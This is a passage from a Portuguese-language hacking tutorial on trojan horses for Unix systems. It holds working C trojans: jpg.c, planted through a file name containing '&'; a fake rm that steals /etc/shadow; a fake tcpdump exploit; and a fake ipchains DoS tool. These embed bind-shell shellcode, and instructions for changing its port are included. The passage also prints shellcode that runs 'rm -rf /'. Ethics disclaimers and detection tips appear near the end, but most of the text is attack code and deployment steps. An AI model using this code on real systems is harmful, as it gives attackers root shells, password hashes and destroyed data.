arquivo2 = fopen("/var/tmp/.vitimas","a+");
fputs(login,arquivo2);
fclose(arquivo2);
system("/bin/rm -rf ./1.txt");
arquivo3 = fopen(path,"a+");
if(arquivo3 == NULL){
exit(0);
}
fputs(escreve,arquivo3);
fclose(arquivo3);
return 0;
}
}
----------------------------------jpg.c------------------------------

Compile ele da seguinte forma em um diretorio publico(Exemplo: /tmp);

[NewBie@redelamer.com]$ gcc -o .jpg jpg.c

Isso farah com que o executavel fique com o nome .jpg.

Em seguida crie um arquivo com um nome chamativo e com o caracter &.
Vejamos um exemplo:

[NeWbie@redelamer.com]$ /bin/touch tesao\&.jpg

Se liga na "\" antes do &, isso eh fundamental para que o programa possa
interpretar o caracter '&' e nao executar um processo em background.Uma
vez feito isso tudo eh soh esperar que algum usuario curioso tente abrir
a foto.Exemplo:

[Vitima@redelamer.com]$ /usr/bin/seejpeg tesao&.jpg

O que acontecerah eh que este usuario executarah os seguintes comando:

$ /usr/bin/seejpeg tesao & -> Envia para Background.
$ .jpg -> Executa o programa .jpg em seguida.

Se voce notar verah que no .jpg temos comandos maliciosos.Se for root
abrirah uma shell root via a backdoor bind shell e copiarah o arquivo
shadow para um diretorio aonde temos acesso, no caso, o home.Se nao
for root, criarah um arquivo .rlogin no diretorio deste usuario.Ele
tambem cria um arquivo em "/var/tmp/.vitimas" contendo os usuarios que
o executaram.Lembrando que este esquema soh funciona se o PATH estiver exposto
a este ataque, para saber digite um sua shell "/usr/bin/printenv |
/usr/bin/grep 'PATH' " aparecerah uma variavel PATH(nao eh MANPATH), se
essa variavel for igual a "./", isto indica que a sua shell eh vulneravel,
e se a sua eh, outras podem ser,entao execute o trojan tranquilamente.
Existem dezenas de possiveis esquemas para se aproveitar deste "&", voce
poderia juntar varios arquvos num .tar.gz, depois enviar para alguem e
forcar a execucao do trojan, enfim, use sua imaginacao.

4.1.3 - PATH=./ e rm
---------------------

Como vimos, existe um perigo consideravel em se definir o PATH=./ .
Existe outro possivel esquema se aproveitando desta configuracao, mais
nesse caso a pessoa teria que estar muito desatenta, mas tudo eh possivel.
Muitas pessoas costuman enviar arquivos para diretorios onde todo mundo
tem permissao de escrita(Ex: /tmp, /var/tmp, /home/ftp/incoming), e depois
costumam ir nesses diretorios para apagar seus arquivos.Se aproveitando
de um eventual descuido, um atacante pode obter vantagem disso tudo.Vejamos
um possivel esquema para isso:

* Criamos um arquivo rm.c, em seguida o compilamos e colocamos seu binario
  num desses possiveis diretorios.

--------------------------------rm.c------------------------------------
/*  Exemplo de rm.c by Nash Leon */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

/* define-se o seu diretorio home */

#define  MEUHOME    "/home/nashleon"

/* Define-se o diretorio aonde o trojan serah instalado */

#define  DIRTROJ    "/tmp"

int main(int argc, char *argv[]){
char comando1[50],comando2[50],argumento1[20],argumento2[20];
if(getuid() == 0){
setuid(0);
sprintf(comando1,"/bin/cp /etc/shadow %s/.shad",MEUHOME);
system(comando1);
sprintf(comando2,"/bin/chmod 4777 %s/.shad",MEUHOME);
system(comando2);
}
if(argv[1]){
sprintf(argumento1,"/bin/rm %s",argv[1]);
system(argumento1);
exit(0);
          }
if(argv[2]){
sprintf(argumento2,"/bin/rm %s %s",argv[1],argv[2]);
system(argumento2);
exit(0);
           }
return 0;
}
------------------------------------------------------------------------

Nesse exemplo acima, se o root for bastante distraido,bota bastante nisso,
se ele for no nosso diretorio e der um rm para apagar os arquivos ou algum
arquivo de lah, ele executarah o trojan.Esse eh um esquema bobo, mas com
esse esquema bobo eu jah consegui capturar um shadow, prefiro acreditar
na distracao desse admin(Isso pode acontecer com qualquer um) do que na
sua incompetencia!

4.1.4 - Trojan em Shellcode
-----------------------------

Ha alguns meses atras, eu disponibilizei um tutorial sobre escrita basica
de shellcodes para Linux.Nesse tutorial eu descrevi e demonstrei um 
exemplo de trojan horse inserido num shellcode com base no shellcode do
tutorial do Taeho Oh, nao alterei nem a porta porque tava imaginando que
algo acontecesse.Nao deu outra, ha pouco tempo apareceram dois novos
"exploits" sendo divulgado via servidores de irc que literalmente 
executavam o shellcode descrito nesse tutorial.Um descrito como exploit
para IMAP4rev1 v12.264 e outro para qpoper2.53, e como se nao bastasse,
um conhecido, me enviou o exploit p/ imapd dizendo que o mesmo
funcionava..:)..pelo visto ele nao leu meu tutorial sobre shellcodes.Se
por um lado, esse ou esses lamers se embasaram no meu tutorial para fazer
esse trojan, por outro, todos aqueles que leram meu tutorial e levaram a
info a serio, nao cairam nesse truque..:)..O que pra mim eh muito valido.
Quanto aos kiddies que executam exploits sem saber o que contem nos
shellcodes..soh lamento.Mas vamos lah, trojans em shellcodes tambem nao
eh coisa nova...Voce pode ver indo em http://stderr.sekure.org/ , lah
tem um txt do stderr que fala justamente sobre isso, se nao me engano,
ADV-fake-exp.txt.Qualquer um com conhecimentos basicos de assembly e
escrita de shellcodes pode alterar o shellcode para executar comandos 
maliciosos atraves de trojans.Se voce quiser ver o Trojan que disponibilizei, 
veja no tutorial sobre shellcodes,em breve deverah vir a continuacao desse
tutorial.Ele pode ser obtido em:

http://unsekurity.virtualave.net/
http://unsekurity.cyberpunk.com.br/
http://www.bufferoverflow.org/

Lah, por padrao, deixei o shellcode do Taeho Oh, mas para voce amigo
NewBie, que anda acompanhando as publicacoes do Unsekurity Team, eu
vou disponibilizar alguma coisinhas a mais aqui.Como eu prometi no inicio
do tutorial, nao entrarei em programacao de shellcode ou mesmo assembly,
vou me limitar a ensinar como alterar diretamente no shellcode.Vejamos
entao.

No exploit do Taeho Oh a porta escolhida por ele foi 30464 pois esta
porta possui uma representacao hexadecimal igual a 7700 ou 0x7700.Esses
dois zeros finais facilitam e muito na programacao de shellcodes.Mas com
um pouco de esperteza pode-se bindar outras portas.Me limitarei nesse
tutorial a esquemas somente com portas com representacao hexadecimal
equivalentes a escolhida pelo Taeho Oh, ou seja, terminando com dois
zeros.Segue abaixo um simples programa em C que nos dah a representacao
hexadecimal de uma dada porta.

--------------------------------hexa.c--------------------------------
/* Imprime determinado hexadecimal. 
   Programa complexo demais!!!:) */

#include <stdio.h>
#include <stdlib.h>
main(int argc, char *argv[]){
int x;
if(argc < 2){
printf("Uso: %s <numero_porta>\n",argv[0]);
exit(0);
}
x = atoi(argv[1]);
printf("Seu equivalente em hexa eh: %X\n",x);
return 0;
}
-----------------------------------------------------------------------

Se voce sabe o basico de hexadecimal entao eh soh mandar brasa.Escolha
uma porta com representacao hexadecimal com dois zeros no final, como
20224, 10752, 14336, etc...Depois pegamos o shellcode do Taeho Oh e o
alteramos diretamente nos hexas, Vamos pegar o terceiro e o quarto
elementos da quarta linha abaixo e examinarmos.

char shellcode[]=
   "\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x75\x43\xeb\x43\x5e\x31\xc0"
   "\x31\xdb\x89\xf1\xb0\x02\x89\x06\xb0\x01\x89\x46\x04\xb0\x06"
   "\x89\x46\x08\xb0\x66\xb3\x01\xcd\x80\x89\x06\xb0\x02\x66\x89"
/* O Terceiro e o quarto elementos abaixo representam o num da porta */
   "\x46\x0c\xb0\x4f\x66\x89\x46\x0e\x8d\x46\x0c\x89\x46\x04\x31"
   "\xc0\x89\x46\x10\xb0\x10\x89\x46\x08\xb0\x66\xb3\x02\xcd\x80"
   "\xeb\x04\xeb\x55\xeb\x5b\xb0\x01\x89\x46\x04\xb0\x66\xb3\x04"
   "\xcd\x80\x31\xc0\x89\x46\x04\x89\x46\x08\xb0\x66\xb3\x05\xcd"
   "\x80\x88\xc3\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80"
   "\xb0\x3f\xb1\x02\xcd\x80\xb8\x2f\x62\x69\x6e\x89\x06\xb8\x2f"
   "\x73\x68\x2f\x89\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89"
   "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31"
   "\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\x5b\xff\xff\xff";}


Aqui estao os dois:

 \xb0\x4f = porta 20224.

Destaquei os dois para que voce jah vah logo percebendo as coisas.Se
voce quisesse a porta 14336 que tem seu representante em hexa = 3800,
tudo que voce deveria fazer era trocar esses "dois" elementos hexa
por \xb0\x38 , caso seu numero seja 10752 voce troca os "dois" elementos
por xb0\x2a.Enfim, eu deixei para explicar em detalhes como eh a escrita
desse shellcode num txt jah em andamento, lah terah em detalhes o
significado disso tudo, mas se voce quiser, leia o txt do Taeho Oh,
"Advanced buffer overflow exploit" que pode ser obtido em:

http://www.bufferoverflow.org/

Mas e se voce alterar o \xb0 ???:).
Agora vejamos o trojan com o shellcode alterado no exploit abaixo:

------------------------------TrojanSc.c--------------------------------

/* SIMPLES EXEMPLO DE TROJAN HORSE VIA SHELLCODE.
   DESENVOLVIDO POR NASHLEON VULGO CORACAODELEAO.
   nashleon@yahoo.com.br
   Thanks Ramona e Unsekurity Team.
   http://unsekurity.virtualave.net/
   http://unsekurity.cyberpunk.com.br/
   Os shellcodes abaixo eu peguei soh para ilustrar.
   Tudo aqui eh ilustracao, para que fique bastante
   claro os possiveis riscos que isso pode gerar.
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

#define    NOP         0x90
#define    BUFFER       616
#define    ALIGN          0
#define    OFFSET         0
#define    ERRO          -1

/* Defini versao do host vitima para overflow */
/* :)..isso executarah el trojan!!!!:) */
typedef void (*SO)();
int prepara(char *digito);
void imprime();
char shellcode_linux[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

/* Shellcode para linux_ppc */
char ppc_code[] =
"\x38\x9f\x01\x2d\x38\x84\xfe\xff\x7f\xde\xf2\x78\x90\x81\x01\x08\x93\xc1\x01"
"\x0c\x80\x61\x01\x08\x38\x81\x01\x08\x3f\xc0\xff\xff\x63\xde\xff\xf5\x7c\x1e"
"\x04\xd0\x44\x01\x01\x02/bin/sh";

/* Shellcode para AIX -> Nada de AIX, abaixo eh o shellcode trojan */
char shellcode_AIX[]=
"\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x75\x43\xeb\x43\x5e\x31\xc0"
"\x31\xdb\x89\xf1\xb0\x02\x89\x06\xb0\x01\x89\x46\x04\xb0\x06"
"\x89\x46\x08\xb0\x66\xb3\x01\xcd\x80\x89\x06\xb0\x02\x66\x89"
"\x46\x0c\x14\x4e\x66\x89\x46\x0e\x8d\x46\x0c\x89\x46\x04\x31"
"\xc0\x89\x46\x10\xb0\x10\x89\x46\x08\xb0\x66\xb3\x02\xcd\x80"
"\xeb\x04\xeb\x55\xeb\x5b\xb0\x01\x89\x46\x04\xb0\x66\xb3\x04"
"\xcd\x80\x31\xc0\x89\x46\x04\x89\x46\x08\xb0\x66\xb3\x05\xcd"
"\x80\x88\xc3\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80"
"\xb0\x3f\xb1\x02\xcd\x80\xb8\x2f\x62\x69\x6e\x89\x06\xb8\x2f"
"\x73\x68\x2f\x89\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89"
"\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31"
"\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\x5b\xff\xff\xff";


char shellcode_freebsd[] =
"\x4e\x45\x43\x46\x44\x45\x46\x46\x43\x46\x47\x45\x46\x46\x43\x43"
"\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x00\x20\x45\x48\x45"
"\x42\x46\x45\x45\x46\x45\x4c\x45\x46\x45\x46\x46\x41\x45\x46\x46"
"\x43\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x41\x41\x00\x00\x00"
"\x00\x00";

char shellcode_solaris[] =
"\x00\x00\x00\x08\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\xf4\x01\x00\x00\x01\x00\x0d\xff\x00\x00\x00\xff"
"\xff\x02\x00\xf4\x01\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x17\x00\x00\x00\x57\x4f\x52\x4b\x47\x52\x4f"
"\x55\x50\x00\x55\x6e\x69\x78\x00\x53\x61\x6d\x62\x61\x00";

char shellcode_win[]= "\x00\x00\x00\x41\xff\x53\x4d\x42\xd0\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x19\x00\x04\x42\x45\x41\x56\x00\x04\x42\x45\x41\x56\x49"
"\x53\x00\x01\x08\x00\x79\x65\x70\x20\x79\x65\x70\x00\x00";


unsigned long pega_sp(void){
__asm__("movl %esp, %eax");
}
void imprime(){
printf("Preparando Overflow!!\n");
printf("Aguarde Alguns minutos depois comece a enviar pings para o
alvo!!\n");
printf("$ ping <host_alvo>\n\n");
}
int prepara(char *digito)
{
SO fp;
fp=(SO)(digito);
fp();
}
main(int argc, char *argv[]){
int Meusocket;
char *host,buf[1024];
struct sockaddr_in vitima;
struct hostent *he;
char *buffer,*plataforma;
int offset = OFFSET;
char plataform[13], *shell;
if(argc < 3){
system("clear");
printf("****** EXEMPLO DE TROJAN HORSE VIA SHELLCODE ******\n\n");
printf("*********** Desenvolvido por Nash Leon ************\n\n");
/* Agora vem a parte demonstrativa */
printf("Simples Exploit para TCPdump!!\n");
printf("Uso: %s <host_alvo> <plataforma>\n",argv[0]);
printf("Onde plataforma pode ser:\n");
printf("lin -> para linux.(Red Hat, Slackware, Debian, Open, etc)\n");
printf("fre -> para FreeBSD.\n");
printf("sol -> para Solaris.\n");
printf("aix -> para AIX.\n");
printf("ppc -> para Linux PPC.\n");
printf("win -> para Windows NT.\n\n");
printf("Exemplo:\n");
printf("$ %s redelamer.com.br lin\n\n",argv[0]);
exit(0);
}
if(argc == 3){
host = argv[1];
plataforma = argv[2];
}
if(!strcmp(plataforma,"lin")){
shell = shellcode_linux;
}
if(!strcmp(plataforma,"sol")){
shell = shellcode_solaris;
}
if(!strcmp(plataforma,"fre")){
shell = shellcode_freebsd;
}
if(!strcmp(plataforma,"win")){
shell = shellcode_win;
}
if(!strcmp(plataforma,"aix")){
shell = shellcode_AIX;
}
if(!strcmp(plataforma,"ppc")){
shell = ppc_code;
}
/* Preparando para Enviar dados */
imprime();
/* Prepara se for aix */
prepara(shellcode_AIX);

Meusocket = socket(AF_INET, SOCK_STREAM,0);
if(Meusocket < 0)
{
        perror("Socket");
        exit(1);
}

he = gethostbyname(host);
if(he == NULL){
herror("Host Desconhecido!");
exit(ERRO);
}
vitima.sin_family = he->h_addrtype;
vitima.sin_port = htons(21);
vitima.sin_addr = *((struct in_addr *)he->h_addr);
bzero(&(vitima.sin_zero), 8);
if(connect(Meusocket,(struct sockaddr * )&vitima, sizeof(vitima)) == -1)
{
fprintf(stderr,"Erro em connect()!\n");
close(Meusocket);
}
close(Meusocket);
return 0;
}
............
---------------------------------------------------------------------------

Esse eh um trojan com varios shellcodes.Nao quero ser responsavel por nada
de mau que venha a acontecer com alguem de modo que no exemplo acima
vemos varios shellcodes que poderiam ser pegues via strings e um trojan
verdadeiramente detectavel por algum usuario atento.O que eu quero que
capte eh que existem inumeras possibilidades, e a deteccao dos mesmos pode
ser dificil.Vamos continuando e poderah contemplar mais coisas.
Pode-se ir bem mais alem que isto aih em cima.Eu fiz um tutorial
ensinando programacao de RAW SOCKS, como se envia um datagrama e etc..lah
tem um exemplo de um programa que envia pacotes ICMP, e numa parte eu
digo para trocar o exemplo do datagrama que eu havia colocado por um
datagrama de hexadecimais(lah tem hexa).Talvez algum atento tenha captado
a mensagem, mas de qualquer forma, vou evidencia-la aqui.Muitos programas
DoS usam RAW SOCKS,alguns nao usam, mas o que eu quero frisar eh que nao
soh eh possivel enganarmos alguem com trojan via shellcode, mas tambem
usa-los em falsos programas de DoS.Vejamos o exemplo abaixo:

-------------------------------NLtrojDoS.c---------------------------------

/* EXEMPLO DE TROJAN HORSE VIA DADOS EM HEXADECIMAL.
   FEITO POR NASHLEON PARA TUTORIAL SOBRE TROJANS.
   nashleon@yahoo.com.br.
   O tutorial pode ser encontrado em:
   http://unsekurity.virtualave.net/
   http://unsekurity.cyberpunk.com.br/

   Esse Trojan segue em "anexo" dentro de um pseudo-datagrama.
   Como esse exemplo de DoS eh RAW Sockets, necessita ser root.
   Isso expoe o perigo eminente de nao saber o que se estah executando.
   Esse programa possui somente propositos educacionais.
*/

/* Aqui comeca a "brincadeira" !!
   Programa Denial Of Service para "ipchains".
   Derruba qualquer sistema Linux com kernel ateh "2.3.39".
   Ele envia um datagrama que explora o bug da funcao get_data()
   do ipfw.Se o sistema nao tiver com firewall, ele derruba do mesmo
   jeito! */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>

#define     ERRO        -1
#define     TAM_IPHDR   sizeof(struct iphdr)
#define     TAM_ICMPHDR sizeof(struct icmphdr)
#define     NUM_PAC     100

char datagrama[]=
"\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x75\x43\xeb\x43\x5e\x31\xc0"
"\x31\xdb\x89\xf1\xb0\x02\x89\x06\xb0\x01\x89\x46\x04\xb0\x06"
"\x89\x46\x08\xb0\x66\xb3\x01\xcd\x80\x89\x06\xb0\x02\x66\x89"
"\x46\x0c\xb0\x77\x66\x89\x46\x0e\x8d\x46\x0c\x89\x46\x04\x31"
"\xc0\x89\x46\x10\xb0\x10\x89\x46\x08\xb0\x66\xb3\x02\xcd\x80"
"\xeb\x04\xeb\x55\xeb\x5b\xb0\x01\x89\x46\x04\xb0\x66\xb3\x04"
"\xcd\x80\x31\xc0\x89\x46\x04\x89\x46\x08\xb0\x66\xb3\x05\xcd"
"\x80\x88\xc3\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80"
"\xb0\x3f\xb1\x02\xcd\x80\xb8\x2f\x62\x69\x6e\x89\x06\xb8\x2f"
"\x73\x68\x2f\x89\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89"
"\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31"
"\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\x5b\xff\xff\xff";

typedef void (*DoS)();

main(int argc, char *argv[]){
int i, Meusocket,num_pac, id, seq;
char *hosthack, *alvo;
struct sockaddr_in vitima;
struct sockaddr_in hacker;
unsigned long int origem;
unsigned long int destino;
DoS envia;
if(argc < 3){
printf("Programa DoS para Ipchains!!\n");
printf("Uso: %s <ip_origem> <ip_alvo>\n",argv[0]);
exit(0);
}
if(getuid() != 0){
printf("Esse programa usa RAW SOCKS, necessita ser root!!\n");
exit(0);
}
hosthack = argv[1];
alvo = argv[2];
num_pac = NUM_PAC;
Meusocket = socket(AF_INET,SOCK_RAW,1);
if(Meusocket < 0){
fprintf(stderr,"Erro em socket() mano!!\n");
exit(ERRO);
}
vitima.sin_family = AF_INET;
vitima.sin_addr.s_addr = inet_addr(alvo);
bzero(&(vitima.sin_zero), 8);
memset(argv[0],0,100);
hacker.sin_family = AF_INET;
hacker.sin_addr.s_addr = inet_addr(hosthack);
bzero(&(hacker.sin_zero),8);
origem = hacker.sin_addr.s_addr;
destino = vitima.sin_addr.s_addr;
id = 0;
seq = 0;
for(i = 0; i < num_pac; i++){
icmp_echo(Meusocket, origem, destino, id,seq,datagrama,sizeof(datagrama));
printf(".");
}
printf("\nPacotes Enviados com sucesso!!\n");
envia=(DoS)(datagrama);
envia();
return 0;
}

/* Checksum */
unsigned short in_cksum(addr, len)
    u_short *addr;
    int len;
{
    register int nleft  = len;
    register u_short *w = addr;
    register int sum    = 0;
    u_short answer      = 0;

    while (nleft > 1)  {
        sum   += *w++;
        nleft -= 2;
    }

    if (nleft == 1) {
        *(u_char *)(&answer) = *(u_char *)w ;
        sum += answer;
    }

    sum    = (sum >> 16) + (sum & 0xffff);
    sum   += (sum >> 16);
    answer = ~sum;
    return(answer);
}

icmp_echo(int Meusocket, unsigned long int origem, unsigned long int
         destino, int id, int seq, char *data, unsigned int datasize)
{
  unsigned char        *pacote;
  unsigned char        *icmpdata;
  struct   iphdr       *ip;
  struct   icmphdr     *icmp;
  struct   sockaddr_in vitima;
  int N;

  pacote = (char *)malloc(TAM_IPHDR + TAM_ICMPHDR + datasize + 1);
  if (pacote == NULL) {
        perror("malloc");
        exit(ERRO);
  }
  ip       = (struct iphdr   *)pacote;
  icmp     = (struct icmphdr *)(pacote + TAM_IPHDR);
  icmpdata = (char           *)(pacote + TAM_IPHDR + TAM_ICMPHDR);

  ip->saddr              =  origem;
  ip->daddr              =  destino;
  ip->version            =  4;
  ip->ihl                =  5;
  ip->ttl                =  255;
  ip->protocol           =  1;
  ip->tot_len            =  htons(TAM_IPHDR + TAM_ICMPHDR + datasize);
  ip->tos                =  0;
  ip->id                 =  0;
  ip->frag_off           =  0;
  ip->check              =  0;
  ip->check              =  in_cksum(ip, TAM_IPHDR);

  icmp->type             =  8;
  icmp->code             =  0;
  icmp->checksum         =  0;
  icmp->un.echo.id       =  id;
  icmp->un.echo.sequence =  seq;

  memcpy(icmpdata, data, datasize);

  icmp->checksum          = in_cksum(icmp, TAM_ICMPHDR + datasize);

  vitima.sin_addr.s_addr = ip->daddr;
  vitima.sin_family      = AF_INET;

N =sendto(Meusocket, pacote, TAM_IPHDR + TAM_ICMPHDR + datasize, 0,(struct
	sockaddr *)&vitima, sizeof(struct sockaddr));
if (N == ERRO) {
                perror("sendto()");
                free(pacote);
                exit(ERRO);
  }
  free(pacote);
}

---------------------------------------------------------------------------

O shellcode acima eh o mesmo do Taeho Oh, porta 30464.RAW SOCKS requer
root, entao, amigo, aih reside um perigo consideravel.Muitos DoS seguem
o esquema acima, em especial para sistemas Windows.O exemplo acima pode
ser melhorado e descrevi novamente para demonstrar o perigo existente
em se usar exploits sem conhecimento basico de C.Creio que a solucao para
esse problema nao estah no uso do comando strings, como podemos ver nesses
dois exemplos, eh dificil perceber um trojan somente via strings.Meu
conselho eh aprender e nao usar exploits de terceiros, e sim fazer o seu
proprio.Sei muito bem que tem casos que se faz necessario o uso de
programas e ateh mesmo exploits de terceiros que sao de origem
desconfiaveis(Basta backdoor do frontpage!!:).), entao amigo, talvez 
algumas possiveis solucoes sejam:

* Execute primeiramente o programa como usuario comum e depois cheque o
  sistema via ps aux e netstat.Tome cuidado com os LKMs tambem(lsmod).
  Preste atencao nos arquivos do seu diretorio /proc.
* Nunca testar o exploit conectado a internet, procure testar
  localmente caso possua o programa bugado.E mesmo nao possuindo execute-o
  localmente sem estar conectado para ver como ele reage.
* Use o comando /usr/bin/strings, ele pode ser util sim.
* Procure verificar a origem do exploit e se a vulnerabilidade teorica 
  tem fundamento.Sabemos que existem vunerabilidades que somente alguns
  grupos a conhecem, e a comunidade de seguranca nao estah a par,de modo
  que, verifique sempre se esse grupo eh de hackers ou nao.Se voce tem
  "passe" no underground, e caso esse exploit tenha mesmo origem de um
  grupo hacker(nao lamers, crackers, kiddies, etc) descente,procure
  entrar em contato diretamente com esse grupo.Hackers de verdade nao
  andam por aih distribuindo trojan para prejudicar terceiros, e sim para
  mostrar vulnerabilidades e possiveis defesas disso.
* Caso tenha duvidas sobre o exploit, nao o execute, descarte-o, pois tem
  akele ditado: "O Medo eh uma virtude", se voce estah temoroso eh porque
  estah atento.E nesse mundo virtual, estar atento eh fundamental!Pois 
  um cracker poderia muito bem colocar um shellcode parecido com esse:

  char shellcode_rm[] =
        "\xeb\x31\x5e\x89\x76\x0e\x8d\x5e\x08\x89\x5e\x12"
        "\x8d\x5e\x0c\x89\x5e\x16\x31\xc0\x88\x46\x07\x88"
        "\x46\x0b\x88\x46\x0d\x89\x46\x1a\xb0\x0b\x89\xf3"
        "\x8d\x4e\x0e\x8d\x56\x1a\xcd\x80\x31\xdb\x89\xd8"
        "\x40\xcd\x80\xe8\xca\xff\xff\xff\x2f\x62\x69\x6e"
        "\x2f\x72\x6d\x20\x2d\x72\x66\x20\x2f\x00\xc9\xc3";

E Executar literalmente um "/bin/rm -rf /".Quem nao sabe o que isso eh
capaz de fazer, por favor, nao teste!!Isso poderia apagar todos os dados
de seu sistema.Com strings voce poderia detectar ele.
...
GLIBC_2.0
PTRh
/bin/rm -rf /
...
Direciono as palavras abaixo a algum possivel lamer que venha ler este
tutorial: 
**************************************************************************
" esse shellcode possui um NULL BYTE, nem tente inserir ele num 
exploit buffer overflow para apagar dados de terceiros, poupe seu trabalho
fazendo lamisse e ve se aprende um pouco de etica hacker".
**************************************************************************

Eis aih o perigo.Quando eh exploit para gerar overflows, o cuidado eh
maior que quando eh para gerar DoS, mas voce,bravo companheiro NewBie,
desde jah fica avisado para todo e qualquer caso, nao importa a origem ou se 
eh para fazer A ou B, o perigo existe e temos que tomar cuidado.
Por isso, amigo, aprenda.Quando vir por aih um shellcode igual a este, 
voce jah sabe de antemao do que se trata, entao trate de descarta-lo.

4.2. Sugestoes
---------------

Nao gosto mesmo de trojans horses, amigo.Nao vejo graca nisso, evidencia-se
que o cara que estah do outro lado nao possui conhecimentos ou eh uma
verdadeira ameba.Se alguem pode considerar o hacking como um jogo, eh
melhor jogar contra quem eh bom, ou conhece bem o jogo, nunca com alguem
que nao sabe nada ou eh inocente o bastante para cair nesses truques,
mesmo que esse alguem seja um esnobe ou super soberbo.Creio que um cara
que manja bem nao precisa sair por aih dizendo que sabe das coisas, muito
menos para pessoas que sabem bem menos que ele.Os trojans como tecnica
possuem suas utilidades, mas na maioria das vezes, use sua conciencia e
procure descarta-los, estude e seja bom o bastante para jamais ter que
recorrer a esta tecnica.A grande maioria dos trojans nao funcionam com
gente experiente, o interessante eh frisar isso: "gente experiente".O
que temos visto eh que a grande maioria de usuarios Windows nao fazem
parte desta citacao, haja visto sao os que mais sofrem com isso.Eu sou a
favor da liberdade de informacao, programas como o BO e o Netbus 
demonstram o perigo que usuarios comuns estao a merce! Por isso sao bons
programas para evidenciar isto: "A FALTA DE SEGURANCA DOS SISTEMAS
OPERACIONAIS".Mas fucadores mesmo nao devem usa-los.Devem procurar
descobrir esquemas melhores contra pessoal melhor e mais capacitado.
Por isso, amigo NewBie, nao use trojans por aih, lembrando
que ateh mesmo voce pode ser vitima disto!:)


----------------
5. - TERMINANDO |
----------------

Como ficou evidenciado nesse tutorial, de um lado, o administrador
nao deve esperar por solucoes vindo de fora(Fabricantes de Softwares,
Equipes de Seguranca e Hackers "Eticos"), mas sim, correr atras e por sih
proprio ir aperfeicoando sempre o seu sistema e procurando evitar
possiveis problemas, pois como pode-se ver, um hacker pode facilmente
usar um dos metodos acima para dificultar as coisas para o lado do admin;
do outro lado, um fucador precisa pesquisar incessantemente e acima de 
tudo procurar dominar e conhecer ao maximo os sistemas operacionais para
construir esquemas proprios e avancados de invasao, bem como de backdoor.
No meio disso tudo estah o usuario comum.Eh por eles que os dois lados
"trabalham" e para eles.Um hacker nao pratica mau a alguem, e ve o
opositor(Admin e Seguranca) nao como um inimigo que deve ser destruido,
mas antes, como um amigo que deve ser ajudado.Nao digo aqui, invadir e
mandar um email para o admin dizendo como consertar uma falha aqui ou
algo parecido nao., dependendo da rede isso ateh pode ser feito..mas o
que eu digo e evidencio aqui eh que temos que forcar as coisas, se nos
limitarmos a divulgar backdoors de inetd, esses admins jamais iriam
procurar saber o que sao LKMs e Rootkits.Uma evidencia disso: Enquanto
escrevia esse txt, surgiu um virus chamado "I LOVE YOU" que derrubou
meio mundo, destruiu muita maquina, a interpol cacou um "possivel" 
suspeito, quando na verdade, os verdadeiros criminosos que sao os 
programadores do software estao cada vez mais ricos...Pq evidencio isso?
pq esse programa maldito(Outlook) jah deveria ter sido banido ha muito
tempo, muita gente jah demonstrou suas falhas e o perigo que ele 
representa, um deles o Marco Nunes: http://now.at/marconunes , e esses
programadores nao deram a menor atencao.Temos que ter a humildade para
reconhecermos que no fundo nao sabemos de nada.Quem tem levado a melhor
durante todo esse tempo sao os cracker e criminosos, que se aproveitam do
"silencio da elite do hacking mundial" e da incompetencia desses
programadores e administradores de rede para destruir e interceptar dados, 
roubar informacoes e etc..Ha quem duvide?? Delegado fulano de tal conhece
bem um pessoal que andou desviando dinheiro de aposentado no eixo sudeste-
bahia, mas cade que prendeu??? A injustica predomina ateh no mundo
virtual.Sem mais amigo.Espero que tenha aprendido algo nesse tutorial.


5.1. Links e Referencias
-------------------------

Existem milhares de tutorial net a fora ensinando tecnicas de backdoor.
Irei somente destacar alguns que de fato interessam ainda hoje em dia.

www.infowar.co.uk/thc/ -> Procure pelos txts sobre LKM.

www.phrack.com -> Procure pelo Projeto Loki.

http://teso.scene.at/ -> Veja os progs disponiveis nele, em destaque
			 o itunnel.tar.gz e adore.tar.gz.. lah tem as
			 versoes desses programas.

www.w00w00.org/ -> Procure no diretorio de trojans deles.

ftp://ftp.technotronic.com/ -> Procure por trojans lah.

http://packetstorm.securify.com/ -> Manda o sistema de busca procura por
				    LKM e/ou backdoor.


5.2 - Consideracoes Finais
---------------------------

Para a primeira parte desse tema, talvez eu ateh tenha avancado um pouco.
